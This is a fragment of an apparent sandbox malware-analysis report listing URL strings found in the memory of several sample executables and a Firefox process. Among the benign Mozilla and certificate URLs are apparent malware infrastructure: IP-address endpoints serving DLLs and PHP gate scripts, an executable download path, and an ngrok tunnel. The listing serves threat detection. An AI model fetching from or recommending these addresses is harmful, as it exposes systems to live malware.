Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll;
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dlld
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll5
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllY
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllK
Source: file.exe, 00000000.00000002.1945261732.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/I
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/O
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/SSC:
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1/-P
Source: file.exe, 00000000.00000002.1969499068.00000000237B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6=
Source: file.exe, 00000000.00000002.1969499068.00000000237B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:=
Source: file.exe, 00000000.00000002.1945734539.0000000000F27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpAEBK.exe-data;
Source: file.exe, 00000000.00000002.1969499068.00000000237B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpB=
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpCH
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000184A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpEAAU
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQ/MP
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_H
Source: file.exe, 00000000.00000002.1945261732.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.1969499068.00000000237B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj=
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpw
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206V
Source: file.exe, 00000000.00000002.1945734539.0000000000F27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49d
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2758300660.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$v
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php?7P
Source: skotes.exe, 00000019.00000002.2758300660.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW78
Source: skotes.exe, 00000019.00000002.2758300660.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phphell32.dll
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedy
Source: skotes.exe, 00000019.00000002.2758300660.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ferences.SourceAumid12
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeL0
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeb1
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000030.00000002.2729171545.000001B477411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2725037727.000001B47689D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000030.00000002.2720067599.000001B4761E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2727450794.000001B477322000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlLOAD_MEDIA_SNIFFER_OVERRIDES_CONTENT_TYPESEC_ALLOW_CRO
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000030.00000002.2720067599.000001B476103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.comP
Source: firefox.exe, 00000030.00000002.2649771173.000001B46F826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000030.00000002.2649771173.000001B46F861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000030.00000002.2649771173.000001B46F826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000030.00000002.2649771173.000001B46F861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000030.00000002.2649771173.000001B46F826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000030.00000002.2644239902.000001B464003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: a4be4c0327.exe, 0000001A.00000002.2768952285.000000000170E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403
Source: a4be4c0327.exe, 0000001A.00000002.2768952285.000000000170E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403e
Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der
Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 00000030.00000002.2720067599.000001B476103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2711952271.000001B474DD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2589484843.000001B474DEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2698930837.000001B474084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/URIFixup.sys.mjshttps://e.mail.ru
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%shttps://mail.yahoo.co.jp/
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, 00000000.00000002.1975756030.000000006FE2D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateaus_gCurrentlyRunningAsBackgroundTaskgetCanApplyUpdates
Source: firefox.exe, 00000030.00000002.2730872456.000001B477563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2725037727.000001B476809000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2698930837.000001B474084000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2720844221.000001B476203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000030.00000002.2720844221.000001B47623F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000030.00000002.2720844221.000001B47623F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2698930837.000001B474003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xule
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulonpopupshown=dropmarkerpopupshown
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderConte
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProvidersMana
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PrivateBrowsingU
Source: file.exe, 00000000.00000002.1974573152.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000030.00000003.2573129546.000001B473C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2573741035.000001B473C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2571185867.000001B473A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/requestReplyFromRemoteContentget
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000030.00000002.2729171545.000001B477456000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caUPDATE_REQUIREBUILTINCERTS_ensureFormattedHostVisibleALLOW_UNSANITIZED_C
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000030.00000002.2720067599.000001B4761E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2736526096.000001B47C262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2716208429.000001B475C1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2715755487.000001B475B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
